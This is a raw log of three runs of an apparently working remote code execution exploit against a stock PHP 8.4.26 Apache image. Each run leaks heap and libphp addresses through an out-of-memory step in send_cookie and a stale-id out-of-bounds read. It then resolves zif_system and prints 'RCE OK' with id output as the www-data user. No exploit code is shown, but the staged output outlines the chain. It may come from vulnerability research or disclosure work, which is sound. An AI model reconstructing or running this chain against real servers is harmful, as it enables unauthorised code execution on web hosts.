===== official php:8.4.26-apache + php.ini-production (2026-10-22T18:26:26+08:00) =====
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7f9bea2d8b60 -> libphp=0x7f9be9c7a000
      chunk buckets: [('0x7f9be7800000', 7495), ('0x7f9bea200000', 1095), ('0x7f9be8000000', 87), ('0x7f9be7600000', 79)]
[try 1] A2 + B2: main=0x7f9be8000000 S=0x7f9be80f8398 zif_system=0x7f9bea0df370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
rc=0
===== second run =====
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7f9bea2d8b60 -> libphp=0x7f9be9c7a000
      chunk buckets: [('0x7f9be7800000', 7495), ('0x7f9bea200000', 1095), ('0x7f9be8000000', 87), ('0x7f9be7600000', 79)]
[try 1] A2 + B2: main=0x7f9be8000000 S=0x7f9be80f8398 zif_system=0x7f9bea0df370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
rc=0
===== third official run (2026-10-22T18:27:30+08:00) =====
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
      chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095), ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
[try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
rc=0